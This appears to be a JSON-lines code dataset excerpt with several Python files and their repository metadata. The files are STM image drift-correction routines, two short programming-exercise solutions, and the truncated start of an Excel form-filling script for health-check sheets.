for iz, layer in enumerate(A):\n tmp_f = interp2d(t1, t2, layer, kind=interpolation)\n for ix in range(tmp.size):\n tmp[ix] = tmp_f(xnew[ix], ynew[ix])\n A_corr[iz] = tmp.reshape(s2, s1)\n print('Processing slice %d/%d...'%(iz+1, A.shape[0]), end='\\r')\n return A_corr\n else:\n print('ERR: Input must be 2D or 3D numpy array!')\n elif method is \"convolution\":\n A_corr = np.zeros_like(A)\n if len(A.shape) is 2:\n return _apply_drift_field(A, ux=ux, uy=uy, zeroOut=True)\n elif len(A.shape) is 3:\n for iz, layer in enumerate(A):\n A_corr[iz] = _apply_drift_field(layer, ux=ux, uy=uy, zeroOut=True)\n print('Processing slice %d/%d...'%(iz+1, A.shape[0]), end='\\r')\n return A_corr\n else:\n print('ERR: Input must be 2D or 3D numpy array!')\n\ndef _apply_drift_field(A, ux, uy, zeroOut=True):\n A_corr = np.copy(A)\n *_, s2, s1 = np.shape(A)\n t1 = np.arange(s1, dtype='float')\n t2 = np.arange(s2, dtype='float')\n x, y = np.meshgrid(t1, t2)\n xshifted = x - ux\n yshifted = y - uy\n if zeroOut is True:\n A_corr[np.where(xshifted < 0)] = 0\n A_corr[np.where(yshifted < 0)] = 0\n A_corr[np.where(xshifted > s1)] = 0\n A_corr[np.where(yshifted > s2)] = 0\n qcoordx = (2*np.pi/s1)*(np.arange(s1)-int(s1/2))\n qcoordy = (2*np.pi/s2)*(np.arange(s2)-int(s2/2))\n #qcoord = (2*np.pi/s)*(np.arange(s)-(s/2))\n xshifted = np.reshape(xshifted, [1, s1*s2])\n yshifted = np.reshape(yshifted, [1, s1*s2])\n qcoordx = np.reshape(qcoordx, [s1, 1])\n qcoordy = np.reshape(qcoordy, [s2, 1])\n xphase = np.exp(-1j*(np.matmul(xshifted.T, qcoordx.T).T))\n yphase = np.exp(-1j*(np.matmul(yshifted.T, qcoordy.T).T))\n avgData = np.mean(A_corr)\n A_corr -= avgData\n A_corr = np.reshape(A_corr, s1*s2)\n data_temp = np.zeros([s2, s1*s2])\n for i in range(s2):\n data_temp[i] = A_corr\n FT = np.matmul(data_temp * xphase, yphase.T).T\n invFT = np.fft.ifft2(np.fft.fftshift(FT)) + avgData\n return np.real(invFT)\n\n##################################################################################\n####################### Useful functions in the processing #######################\n##################################################################################\n\n#8. - sortBraggs\ndef sortBraggs(br, s):\n ''' Sort the Bragg peaks in the order of \"lower left, lower right, upper right, and upper left\" '''\n *_, s2, s1 = s\n Br_s = np.zeros_like(br)\n index_corr = [[-1,-1],[1,-1],[1,1],[-1,1]]\n center = np.array([int(s1/2),int(s2/2)])\n for i,ix in enumerate(index_corr):\n for j,jy in enumerate(np.sign(br-center)):\n if np.all(jy==ix):\n Br_s[i] = br[j]\n return Br_s\n\n#9. - cropedge\ndef cropedge(A, n, obj=None, bp=None, c1=2,c2=2, a1=None, a2=None, force_commen=False, update_obj=True):\n \"\"\"\n Crop out bad pixels or highly drifted regions from topo/dos map.\n\n Inputs:\n A - Required : 2D or 3D array of image to be cropped.\n n - Required : List of integers specifying how many bad pixels to crop on each side.\n Order: [left, right, down, up].\n obj - Optional : Spy object of topo (2D) or map (3D).\n force_commen- Optional : Boolean determining if the atomic lattice is commensurate with\n the output image.\n\n update_obj - Optional : Boolean, if True then all the attributes of the object will be updated.\n\n Returns:\n A_crop - 2D or 3D array of image after cropping.\n\n Usage:\n import stmpy.driftcorr as dfc\n A_crop = dfc.cropedge(A, n=5, obj=obj, corner='1')\n\n History:\n 06/04/2019 RL : Initial commit.\n 11/30/2019 RL : Add support for non-square dataset\n \"\"\"\n if force_commen is not True:\n B = _rough_cut(A, n=n)\n print('Shape before crop:', end=' ')\n print(A.shape)\n print('Shape after crop:', end=' ')\n print(B.shape)\n return B\n else:\n if n != 0:\n B = _rough_cut(A, n)\n else:\n B = np.copy(A)\n *_, L2, L1 = np.shape(A)\n if bp is None:\n bp = findBraggs(A, show=False)\n bp = sortBraggs(bp, s=np.array([L2,L1]))\n bp_new = bp - np.array([int(L1/2), int(L2/2)])\n N1 = np.absolute(bp_new[0,0] - bp_new[1,0])\n N2 = np.absolute(bp_new[0,1] - bp_new[-1,1])\n offset = 0\n\n if a1 is None:\n a1 = c1 * L1 / N1\n if a2 is None:\n a2 = a1\n #a2 = c2 * L2 / N2\n *_, L2, L1 = np.shape(B)\n L_new1 = a1 * ((L1-offset)//(a1))\n L_new2 = a2 * ((L2-offset)//(a2))\n delta1 = (L1 - offset - L_new1) / 2\n delta2 = (L2 - offset - L_new2) / 2\n t1 = np.arange(L1)\n t2 = np.arange(L2)\n if len(np.shape(A)) == 2:\n f = interp2d(t1, t2, B, kind='cubic')\n t_new1 = np.linspace(delta1, L_new1+delta1, num=L1-offset+1)\n t_new2 = np.linspace(delta2, L_new2+delta2, num=L2-offset+1)\n z_new = f(t_new1[:-1], t_new2[:-1])\n elif len(np.shape(A)) == 3:\n z_new = np.zeros([np.shape(A)[0], L2-offset, L1-offset])\n for i in range(len(A)):\n f = interp2d(t1, t2, B[i], kind='cubic')\n t_new1 = np.linspace(0, L_new1, num=L1-offset+1)\n t_new2 = np.linspace(0, L_new2, num=L2-offset+1)\n z_new[i] = f(t_new1[:-1], t_new2[:-1])\n else:\n print('ERR: Input must be 2D or 3D numpy array!')\n if obj is not None:\n if update_obj is True:\n obj.size = obj.size * (obj.pixels - offset) / obj.pixels\n obj.pixels = obj.pixels - offset\n obj.qmag = obj.size / obj.a0\n obj.qscale = obj.pixels / (2*obj.qmag)\n obj.a1=a1\n obj.a2=a2\n return z_new\n\ndef _rough_cut(A, n):\n B = np.copy(A)\n if len(n) == 1:\n n1 = n2 = n3 = n4 = n[0]\n else:\n n1, n2, n3, n4, *_ = n\n if len(B.shape) is 2:\n if n2 == 0:\n n2 = -B.shape[1]\n if n4 == 0:\n n4 = -B.shape[0]\n return B[n3:-n4, n1:-n2]\n elif len(B.shape) is 3:\n if n2 == 0:\n n2 = -B.shape[2]\n if n4 == 0:\n n4 = -B.shape[1]\n return B[:,n3:-n4, n1:-n2]\n\ndef Gaussian2d(x, y, sigma_x, sigma_y, theta, x0, y0, Amp):\n '''\n x, y: ascending 1D array\n x0, y0: center\n '''\n a = np.cos(theta)**2/2/sigma_x**2 + np.sin(theta)**2/2/sigma_y**2\n b = -np.sin(2*theta)**2/4/sigma_x**2 + np.sin(2*theta)**2/4/sigma_y**2\n c = np.sin(theta)**2/2/sigma_x**2 + np.cos(theta)**2/2/sigma_y**2\n z = np.zeros((len(x), len(y)))\n X, Y = np.meshgrid(x, y)\n z = Amp * np.exp(-(a*(X-x0)**2 + 2*b*(X-x0)*(Y-y0) + c*(Y-y0)**2))\n return z\n\ndef FTDCfilter(A, sigma):\n '''\n Filtering DC component of Fourier transform and inverse FT, using a gaussian with one parameter sigma\n A is a 2D array, sigma is in unit of px\n '''\n *_, s2, s1 = A.shape\n m1, m2 = np.arange(s1, dtype='float'), np.arange(s2, dtype='float')\n c1, c2 = np.float((s1-1)/2), np.float((s2-1)/2)\n sigma1 = sigma\n sigma2 = sigma * s1 / s2\n g = Gaussian2d(m1, m2, sigma1, sigma2, 0, c1, c2, 1)\n ft_A = np.fft.fftshift(np.fft.fft2(A))\n ft_Af = ft_A * g\n Af = np.fft.ifft2(np.fft.ifftshift(ft_Af))\n return np.real(Af)\n\ndef unwrap_phase_2d(A, thres=None):\n output = np.copy(A[::-1,::-1])\n if len(np.shape(A)) == 2:\n n = np.shape(A)[-1]\n for i in range(n):\n output[i,:] = unwrap_phase(output[i,:], tolerance=thres)\n for i in range(n):\n output[:,i] = unwrap_phase(output[:,i], tolerance=thres)\n return output[::-1,::-1]\n\n#10. - compute_dist\ndef compute_dist(x1, x2, p=None):\n\n if p is None:\n p1, p2 = 1, 1\n else:\n p1, p2 = p\n return np.sqrt(((x1[0]-x2[0])*p1)**2+((x1[1]-x2[1])*p2)**2)\n\n#11. - global_corr\ndef global_corr(A, obj=None, bp=None, show=False, angle=np.pi/4, update_obj=True, **kwargs):\n \"\"\"\n Global shear correct the 2D topo automatically.\n\n Inputs:\n A - Required : 2D array of topo to be shear corrected.\n obj - Optional : Spy object of topo (2D) or map (3D).\n bp - Optional : Bragg points. If not offered, it will calculated from findBraggs(A)\n show - Optional : Boolean specifying if the results are plotted or not\n update_obj - Optional : Boolean, if True then all the attributes of the object will be updated.\n angle - Optional : orientation of the Bragg peaks, default as pi/4. Will be passed to gshearcorr\n **kwargs - Optional : key word arguments for findBraggs function\n Returns:\n bp_1 - Bragg peaks returned by gshearcorr. To be used in local_corr()\n data_1 - 2D array of topo after global shear correction\n\n Usage:\n import stmpy.driftcorr as dfc\n bp1, data1 = dfc.global_corr(A, show=True)\n\n History:\n 04/29/2019 RL : Initial commit.\n \"\"\"\n *_, s2, s1 = np.shape(A)\n if bp is None:\n bp_1 = findBraggs(A, obj=obj, thres=0.2, show=show, update_obj=update_obj, **kwargs)\n else:\n bp_1 = bp\n m, data_1 = gshearcorr(A, bp_1, obj=obj, rspace=True, angle=angle, update_obj=update_obj)\n if show is True:\n fig,ax=plt.subplots(1,2,figsize=[8,4])\n ax[0].imshow(data_1, cmap=stmpy.cm.blue2,origin='lower')\n ax[0].set_xlim(0,s1)\n ax[0].set_ylim(0,s2)\n ax[1].imshow(stmpy.tools.fft(data_1, zeroDC=True), cmap=stmpy.cm.gray_r,origin='lower')\n fig.suptitle('After global shear correction', fontsize=14)\n fig,ax=plt.subplots(2,2,figsize=[8,8])\n ax[0,0].imshow(data_1, cmap=stmpy.cm.blue2,origin='lower')\n ax[0,1].imshow(data_1, cmap=stmpy.cm.blue2,origin='lower')\n ax[1,0].imshow(data_1, cmap=stmpy.cm.blue2,origin='lower')\n ax[1,1].imshow(data_1, cmap=stmpy.cm.blue2,origin='lower')\n ax[0,0].set_xlim(0, s1/10)\n ax[0,0].set_ylim(s2-s2/10, s2)\n ax[0,1].set_xlim(s1-s1/10, s1)\n ax[0,1].set_ylim(s2-s2/10, s2)\n ax[1,0].set_xlim(0, s1/10)\n ax[1,0].set_ylim(0, s2/10)\n ax[1,1].set_xlim(s1-s1/10, s1)\n ax[1,1].set_ylim(0, s2/10)\n fig.suptitle('Bad pixels in 4 corners', fontsize=14)\n return m, data_1\n\n#12. - local_corr\ndef local_corr(data, obj=None, bp=None, sigma=10, method=\"lockin\", fixMethod='unwrap', show=False, update_obj=True, **kwargs):\n \"\"\"\n Locally drift correct 2D topo automatically.\n\n Inputs:\n data - Required : 2D array of topo after global shear correction, with bad pixels removed on the edge\n sigma - Optional : Floating number specifying the size of mask to be used in phasemap()\n obj - Optional : Spy object of topo (2D) or map (3D).\n bp - Optional : Bragg points. If not offered, it will calculated from findBraggs(A)\n method - Optional : Specifying which method to in phasemap()\n \"lockin\": Spatial lock-in method to find phase map\n \"convolution\": Gaussian mask convolution method to find phase map\n fixMethod - Optional : Specifying which method to use in fixphaseslip()\n \"unwrap\": fix phase jumps line by line in x direction and y direction, respectively\n \"spiral\": fix phase slip in phase shift maps by flattening A into a 1D array in a spiral way\n show - Optional : Boolean specifying if the results are plotted or not\n update_obj - Optional : Boolean, if True then all the attributes of the object will be updated.\n **kwargs - Optional : key word arguments for findBraggs function\n\n Returns:\n ux - 2D array of drift field in x direction\n uy - 2D array of drift field in y direction\n data_corr - 2D array of topo after local drift corrected\n\n Usage:\n import stmpy.driftcorr as dfc\n ux, uy, data_corr = dfc.local_corr(data, sigma=5, method='lockin', fixMethod='unwrap', show=True)\n\n History:\n 04/29/2019 RL : Initial commit.\n \"\"\"\n *_, s2, s1 = np.shape(data)\n if bp is None:\n bp_2 = findBraggs(data, obj=obj, thres=0.2, show=show, update_obj=update_obj, **kwargs)\n else:\n bp_2 = bp\n thetax, thetay, Q1, Q2= phasemap(data, bp=bp_2, obj=obj, method=method, sigma=sigma, update_obj=update_obj)\n if show is True:\n fig,ax=plt.subplots(1,2,figsize=[8,4])\n ax[0].imshow(thetax, origin='lower')\n ax[1].imshow(thetay, origin='lower')\n fig.suptitle('Raw phase maps')\n thetaxf = fixphaseslip(thetax, method=fixMethod)\n thetayf = fixphaseslip(thetay, method=fixMethod)\n if show is True:\n fig,ax=plt.subplots(1,2,figsize=[8,4])\n ax[0].imshow(thetaxf, origin='lower')\n ax[1].imshow(thetayf, origin='lower')\n fig.suptitle('After fixing phase slips')\n ux, uy = driftmap(thetaxf, thetayf, Q1, Q2, obj=obj, method=method, update_obj=update_obj)\n if method=='lockin':\n data_corr = driftcorr(data, ux, uy, method='lockin', interpolation='cubic')\n elif method=='convolution':\n data_corr = driftcorr(data, ux, uy, method='convolution',)\n else:\n print(\"Error: Only two methods are available, lockin or convolution.\")\n if show is True:\n fig,ax=plt.subplots(2,2,figsize=[8, 8])\n ax[1, 0].imshow(data_corr, cmap=stmpy.cm.blue1,origin='lower')\n ax[1, 1].imshow(stmpy.tools.fft(data_corr, zeroDC=True), cmap=stmpy.cm.gray_r,origin='lower')\n ax[0, 0].imshow(data, cmap=stmpy.cm.blue1,origin='lower')\n ax[0, 1].imshow(stmpy.tools.fft(data, zeroDC=True), cmap=stmpy.cm.gray_r,origin='lower')\n fig.suptitle('Before and after local drift correction')\n return ux, uy, data_corr\n\n#14. - apply_dfc_3d\ndef apply_dfc_3d(data, ux, uy, matrix, bp=None, obj=None, n1=None, n2=None, method='convolution',update_obj=False):\n \"\"\"\n Apply drift field (both global and local) found in 2D to corresponding 3D map.\n\n Inputs:\n data - Required : 3D array of map to be drift corrected\n bp - Required : Coordinates of Bragg peaks returned by local_corr()\n ux - Required : 2D array of drift field in x direction. Usually generated by local_corr()\n uy - Required : 2D array of drift field in y direction. Usually generated by local_corr()\n crop1 - Optional : List of length 1 or length 4, specifying after global shear correction how much to crop on the edge\n crop2 - Optional : List of length 1 or length 4, specifying after local drift correction how much to crop on the edge\n method - Optional : Specifying which method to apply the drift correction\n \"interpolate\": Interpolate A and then apply it to a new set of coordinates,\n (x-ux, y-uy)\n \"invfft\": Used inversion fft to apply the drift fields\n Returns:\n data_corr - 2D array of topo after local drift corrected\n\n Usage:\n import stmpy.driftcorr as dfc\n data_corr = dfc.apply_dfc_3d(data, bp=bp, ux=ux, uy=uy, crop1=[5], crop2=[5], method='interpolate')\n\n History:\n 04/29/2019 RL : Initial commit.\n \"\"\"\n data_c = np.zeros_like(data)\n for i in range(len(data)):\n _, data_c[i] = gshearcorr(data[i], matrix=matrix, obj=obj, rspace=True, update_obj=update_obj)\n if n1 is None:\n data_c = data_c\n else:\n data_c = cropedge(data_c, n=n1)\n data_corr = driftcorr(data_c, ux, uy, method=method, interpolation='cubic')\n if n2 is None:\n data_out = data_corr\n else:\n data_out = cropedge(data_corr, obj=obj, bp=bp, n=n2, force_commen=True, update_obj=update_obj)\n return data_out\n\n#15. - display\ndef display(A, B=None, sigma=3, clim_same=True):\n '''\n Display or compare images in both real space and q-space.\n\n Inputs:\n A - Required : Real space image to display.\n B - Optional : Another real space image to be compared with A.\n sigma - Optional : sigma for the color limit.\n clim_same - Optional : If True, then both FT of A and B will be displayed under the\n same color limit (determined by A).\n\n Returns:\n N/A\n\n Usage:\n import stmpy.driftcorr as dfc\n dfc.display(topo.z)\n\n '''\n if B is None:\n A_fft = stmpy.tools.fft(A, zeroDC=True)\n c = np.mean(A_fft)\n s = np.std(A_fft)\n fig,ax=plt.subplots(1,2,figsize=[8, 4])\n ax[0].imshow(A, cmap=stmpy.cm.blue2, origin='lower')\n ax[1].imshow(A_fft, cmap=stmpy.cm.gray_r, origin='lower', clim=[0,c+sigma*s])\n else:\n A_fft = stmpy.tools.fft(A, zeroDC=True)\n B_fft = stmpy.tools.fft(B, zeroDC=True)\n c1 = np.mean(A_fft)\n s1 = np.std(A_fft)\n if clim_same is True:\n c2 = c1\n s2 = s1\n else:\n c2 = np.mean(B_fft)\n s2 = np.std(B_fft)\n fig,ax=plt.subplots(2,2,figsize=[8, 8])\n ax[0,0].imshow(A, cmap=stmpy.cm.blue2, origin='lower')\n ax[0,1].imshow(A_fft, cmap=stmpy.cm.gray_r, origin='lower', clim=[0,c1+sigma*s1])\n ax[1,0].imshow(B, cmap=stmpy.cm.blue2, origin='lower')\n ax[1,1].imshow(B_fft, cmap=stmpy.cm.gray_r, origin='lower', clim=[0,c2+sigma*s2])\n\n\ndef quick_linecut(A, width=2, n=4, bp=None, ax=None, thres=3):\n \"\"\"\n Take four linecuts automatically, horizontal, vertical, and two diagonal.\n Inputs:\n A - Required : FT space image to take linecuts.\n width - Optional : Number of pixels for averaging.\n bp - Optional : Bragg peaks\n thres - Optional : threshold for displaying FT\n\n Returns:\n N/A\n\n Usage:\n import stmpy.driftcorr as dfc\n r, cut = dfc.quick_linecut(A)\n\n \"\"\"\n Y = np.shape(A)[-2] / 2\n X = np.shape(A)[-1] / 2\n r = []\n cut = []\n start = [[0,Y],[X,0],[0,0],[0,Y*2]]\n end = [[X*2, Y],[X, Y*2],[X*2, Y*2], [X*2, 0]]\n color = ['r','g','b','k']\n\n plt.figure(figsize=[4,4])\n if len(np.shape(A)) == 3:\n if bp is None:\n bp_x = np.min(findBraggs(np.mean(A, axis=0), rspace=False))\n else:\n bp_x = bp\n cm = np.mean(np.mean(A, axis=0))\n cs = np.std(np.mean(A, axis=0))\n plt.imshow(np.mean(A, axis=0), clim=[0,cm+thres*cs])\n elif len(np.shape(A)) == 2:\n if bp is None:\n bp_x = np.min(findBraggs(A, rspace=False))\n else:\n bp_x = bp\n cm = np.mean(A)\n cs = np.std(A)\n plt.imshow(A, clim=[0, cm+thres*cs])\n\n qscale = X*2 / (X*2 - bp_x * 2)\n\n for i in range(n):\n r1, cut1 = stmpy.tools.linecut(A, start[i], end[i],\n width = width, show=True, ax=plt.gca(), color=color[i])\n r.append(r1)\n cut.append(cut1)\n plt.gca().set_xlim(-1, X*2+1)\n plt.gca().set_ylim(-1, Y*2+1)\n return qscale, cut\n\ndef quick_show(A, en, thres=5, rspace=True, saveon=False, qlimit=1.2, imgName='', extension='png'):\n layers = len(A)\n if rspace is False:\n imgsize = np.shape(A)[-1]\n bp_x = np.min(findBraggs(np.mean(A, axis=0), min_dist=int(imgsize/10), rspace=rspace))\n ext = imgsize / (imgsize - 2*bp_x)\n if layers > 12:\n skip = layers // 12\n else:\n skip = 1\n fig,ax=plt.subplots(3,4,figsize=[16,12])\n try:\n for i in range(12):\n c = np.mean(A[i*skip])\n s = np.std(A[i*skip])\n if rspace is True:\n ax[i//4,i%4].imshow(A[i*skip], clim=[c-thres*s,c+thres*s],cmap=stmpy.cm.jackyPSD)\n else:\n ax[i//4,i%4].imshow(A[i*skip],extent=[-ext,ext,-ext,ext,],clim=[0,c+thres*s],cmap=stmpy.cm.gray_r)\n ax[i//4,i%4].set_xlim(-qlimit,qlimit)\n ax[i//4,i%4].set_ylim(-qlimit,qlimit)\n stmpy.image.add_label(\"${}$ mV\".format(int(en[i*skip])), ax=ax[i//4,i%4])\n except IndexError:\n pass\n if saveon is True:\n plt.savefig(\"{}.{}\".format(imgName, extension), bbox_inches='tight')\n\ndef quick_show_cut(A, en, qscale, thres=5, thres2=None, saveon=False, qlimit=1.2, imgName='', extension=\"png\"):\n fname = [\"M-0\", \"M-90\", \"X-45\",\"X-135\"]\n X1, Y1 = np.shape(A[0])\n X2, Y2 = np.shape(A[-1])\n q1 = np.linspace(-qscale, qscale, num=Y1)\n q2 = np.linspace(-qscale*np.sqrt(2), qscale*np.sqrt(2), num=Y2)\n if thres2 is None:\n thres2 = thres\n for i,ix in enumerate(A):\n plt.figure(figsize=[6,3])\n c = np.mean(ix)\n s = np.std(ix)\n if i in [0,1]:\n plt.pcolormesh(q1, en, ix,cmap=stmpy.cm.gray_r, vmin=0, vmax=c+thres*s)\n else:\n plt.pcolormesh(q2, en, ix,cmap=stmpy.cm.gray_r, vmin=0, vmax=c+thres2*s)\n plt.gca().set_xlim(-qlimit,qlimit)\n plt.axvline(-1, linestyle='--')\n plt.axvline(1, linestyle='--')\n if saveon is True:\n plt.savefig(imgName + \" along {}.{}\".format(fname[i], extension), facecolor='w')\n\n# Quick show single images\ndef quick_show_single(A, en, thres=5, qscale=None, rspace=False, saveon=False, qlimit=1.2, imgName='', extension='png'):\n layers = len(A)\n if rspace is False:\n if qscale is None:\n imgsize = np.shape(A)[-1]\n if len(np.shape(A)) == 3:\n A_topo = np.mean(A, axis=0)\n else:\n A_topo = A\n bp_x = np.min(findBraggs(A_topo, min_dist=int(imgsize/10), rspace=rspace))\n ext = imgsize / (imgsize - 2*bp_x)\n else:\n ext = qscale\n if len(np.shape(A)) == 3:\n for i in range(layers):\n plt.figure(figsize=[4,4])\n c = np.mean(A[i])\n s = np.std(A[i])\n if rspace is True:\n plt.imshow(A[i], clim=[c-thres*s,c+thres*s],cmap=stmpy.cm.jackyPSD)\n else:\n plt.imshow(A[i],extent=[-ext,ext,-ext,ext,],clim=[0,c+thres*s],cmap=stmpy.cm.gray_r)\n plt.xlim(-qlimit,qlimit)\n plt.ylim(-qlimit,qlimit)\n stmpy.image.add_label(\"${}$ mV\".format(int(en[i])), ax=plt.gca())\n plt.gca().axes.get_xaxis().set_visible(False)\n plt.gca().axes.get_yaxis().set_visible(False)\n plt.gca().set_frame_on(False)\n if saveon is True:\n plt.savefig(\"{} at {}mV.{}\".format(imgName, int(en[i]), extension), bbox_inches='tight',pad_inches=0)\n elif len(np.shape(A)) == 2:\n plt.figure(figsize=[4,4])\n c = np.mean(A)\n s = np.std(A)\n if rspace is True:\n plt.imshow(A, clim=[c-thres*s,c+thres*s],cmap=stmpy.cm.jackyPSD)\n else:\n plt.imshow(A,extent=[-ext,ext,-ext,ext,],clim=[0,c+thres*s],cmap=stmpy.cm.gray_r)\n plt.xlim(-qlimit,qlimit)\n plt.ylim(-qlimit,qlimit)\n stmpy.image.add_label(\"${}$ mV\".format(int(en)), ax=plt.gca())\n plt.gca().axes.get_xaxis().set_visible(False)\n plt.gca().axes.get_yaxis().set_visible(False)\n plt.gca().set_frame_on(False)\n if saveon is True:\n plt.savefig(\"{} at {}mV.{}\".format(imgName, int(en), extension), bbox_inches='tight',pad_inches=0)\n","repo_name":"JohnGetch/Final-Thesis-5-11","sub_path":"stmpy/driftcorr.py","file_name":"driftcorr.py","file_ext":"py","file_size_in_byte":44645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34998398975","text":"\"\"\"\nBeecrowd\nProblema 1067 Números Impares\nLink:https://www.beecrowd.com.br/judge/es/problems/view/1067\nSe lee un número y se recorren los números del 1 hasta el número leído, imprimiendo los números impares (número que al ser dividido por 2 da residuo 1).\n\"\"\"\nx = int(input())\nfor i in range(1,x+1):\n if i%2 == 1:\n print(i)\n","repo_name":"SantiagoRamos132/Problemas-en-linea","sub_path":"Beecrowd - 1067 - Numeros Impares.py","file_name":"Beecrowd - 1067 - Numeros Impares.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27015371977","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 11 08:53:32 2021\n\n@author: user\n\"\"\"\n\"\"\"\n解題關鍵: 找到1種rows樣式 在翻轉前與翻轉後最多的rows\n因為 統一翻轉後一邊會是0 一邊會是1\n\"\"\"\n\nimport collections\nclass Solution(object):\n def maxEqualRowsAfterFlips(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: int\n \"\"\"\n cache = collections.defaultdict(int)\n for row in matrix:\n vals = []\n trans = []\n for c in row:\n vals.append(c)\n trans.append(1 - c)\n cache[str(vals)] += 1\n cache[str(trans)] += 1\n\n return max(cache.values())","repo_name":"Arthur8312/LeetCode","sub_path":"1072. Flip Columns For Maximum Number of Equal Rows/Website_answer.py","file_name":"Website_answer.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40686159270","text":"from win32com.client import Dispatch \r\nimport win32com.client \r\nimport xlrd\r\nimport os, shutil\r\nimport time\r\nfrom ftplib import FTP\r\nimport qrcode\r\n\r\nclass easyExcel: \r\n \"\"\"A utility to make it easier to get at Excel. Remembering \r\n to save the data is your problem, as is error handling. \r\n Operates on one workbook at a time.\"\"\" \r\n def __init__(self, filename=None): #打开文件或者新建文件（如果不存在的话） \r\n self.xlApp = win32com.client.Dispatch('Excel.Application') \r\n if filename: \r\n self.filename = filename \r\n self.xlBook = self.xlApp.Workbooks.Open(filename) \r\n else: \r\n self.xlBook = self.xlApp.Workbooks.Add() \r\n self.filename = '' \r\n \r\n def save(self, newfilename=None): #保存文件 \r\n if newfilename: \r\n self.filename = newfilename \r\n self.xlBook.SaveAs(newfilename) \r\n else: \r\n self.xlBook.Save() \r\n def close(self): #关闭文件 \r\n self.xlBook.Close(SaveChanges=0) \r\n del self.xlApp \r\n def getCell(self, sheet, row, col): #获取单元格的数据 \r\n \"Get value of one cell\" \r\n sht = self.xlBook.Worksheets(sheet) \r\n return sht.Cells(row, col).Value \r\n def setCell(self, sheet, row, col, value): #设置单元格的数据 \r\n \"set value of one cell\" \r\n sht = sheet\r\n #sht = self.xlBook.Worksheets(sheet) \r\n sht.Cells(row, col).Value = value \r\n def setCellformat(self, sheet, row, col): #设置单元格的数据 \r\n \"set value of one cell\" \r\n sht = self.xlBook.Worksheets(sheet) \r\n sht.Cells(row, col).Font.Size = 15#字体大小 \r\n sht.Cells(row, col).Font.Bold = True#是否黑体 \r\n sht.Cells(row, col).Name = \"Arial\"#字体类型 \r\n sht.Cells(row, col).Interior.ColorIndex = 3#表格背景 \r\n #sht.Range(\"A1\").Borders.LineStyle = xlDouble \r\n sht.Cells(row, col).BorderAround(1,4)#表格边框 \r\n sht.Rows(3).RowHeight = 30#行高 \r\n sht.Cells(row, col).HorizontalAlignment = -4131 #水平居中xlCenter \r\n sht.Cells(row, col).VerticalAlignment = -4160 # \r\n def deleteRow(self, sheet, row): \r\n sht = self.xlBook.Worksheets(sheet) \r\n sht.Rows(row).Delete()#删除行 \r\n sht.Columns(row).Delete()#删除列\r\n def getRange(self, sheet, row1, col1, row2, col2): #获得一块区域的数据，返回为一个二维元组 \r\n \"return a 2d array (i.e. tuple of tuples)\" \r\n sht = self.xlBook.Worksheets(sheet) \r\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value \r\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height): #插入图片 \r\n \"Insert a picture in sheet\" \r\n sht = self.xlBook.Worksheets(sheet) \r\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height) \r\n \r\n def cpSheet(self, name): #复制工作表 \r\n \"copy sheet\" \r\n shts = self.xlBook.Sheets(1)\r\n last_sheet = self.xlBook.Sheets(self.xlBook.Sheets.Count)\r\n shts.Copy(None, last_sheet)\r\n new_sheet = self.xlBook.Sheets( self.xlBook.Sheets.Count)\r\n new_sheet.Name = name\r\n return new_sheet\r\n\r\n def inserRow(self,sheet,row):\r\n sht = self.xlBook.Worksheets(sheet)\r\n sht.Rows(row).Insert(1)\r\n\r\n #下面是一些测试代码。\r\n\r\n\r\nclass tijiandan:\r\n def __init__(self):\r\n self.__base_dir = os.path.split(os.path.realpath(__file__))[0]\r\n yuyue_file = os.path.join(self.__base_dir, 'yuyue.xls')\r\n self.__infos = self.__read_excel(yuyue_file)\r\n self.__folder = time.strftime(\"%Y%m%d\", time.localtime())\r\n\r\n def __read_excel(self, fileName):\r\n # 打开文件\r\n workbook = xlrd.open_workbook(fileName)\r\n # 获取所有sheet\r\n #print workbook.sheet_names() # [u'sheet1', u'sheet2']\r\n sheet1 = workbook.sheets()[0] \r\n infos = []\r\n for i in range(1, sheet1.nrows):\r\n info = {\r\n 'name': sheet1.cell(i,1).value,\r\n 'sex': sheet1.cell(i,2).value,\r\n 'id_card': sheet1.cell(i,3).value,\r\n 'height': sheet1.cell(i,4).value,\r\n 'weight': sheet1.cell(i,5).value,\r\n 'luoyan_left': sheet1.cell(i,6).value,\r\n 'luoyan_right': sheet1.cell(i,7).value,\r\n 'jiaozheng_left': sheet1.cell(i,8).value,\r\n 'jiaozheng_right': sheet1.cell(i,9).value,\r\n 'date_tijian': sheet1.cell(i,10).value,\r\n 'date_print': sheet1.cell(i,11).value,\r\n 'id_num': sheet1.cell(i,12).value\r\n }\r\n\r\n if(info['name'] == \"\"):\r\n break\r\n\r\n infos.append(info)\r\n\r\n return infos\r\n\r\n def __write_excel(self, xls, info):\r\n name = info['name']\r\n sex = info['sex']\r\n id_card = info['id_card']\r\n luoyan_left = info['luoyan_left']\r\n luoyan_right = info['luoyan_right']\r\n jiaozheng_left = info['jiaozheng_left']\r\n jiaozheng_right = info['jiaozheng_right']\r\n height = \"身高：%s cm\" % (info['height'])\r\n weight = '体重：%s Kg' % (info['weight'])\r\n date_tijian = '体检日期： %s' % (info['date_tijian'])\r\n date_print = '打印日期： %s' % (info['date_print'])\r\n id_num = ' * %s *' % (info['id_num'])\r\n\r\n sheet = xls.cpSheet(name)\r\n xls.setCell(sheet,4,'A',id_num) \r\n xls.setCell(sheet,5,'B', name) \r\n xls.setCell(sheet,5,'L',sex) \r\n xls.setCell(sheet,5,'P',id_card) \r\n xls.setCell(sheet,8,'D',luoyan_left)\r\n xls.setCell(sheet,9,'D',luoyan_right) \r\n xls.setCell(sheet,8,'K',jiaozheng_left)\r\n xls.setCell(sheet,9,'K',jiaozheng_right) \r\n xls.setCell(sheet,13,'B',height) \r\n xls.setCell(sheet,14,'B',weight) \r\n xls.setCell(sheet,33,'L',date_tijian) \r\n xls.setCell(sheet,34,'L',date_print) \r\n\r\n def start_export(self):\r\n tijian_file_name = 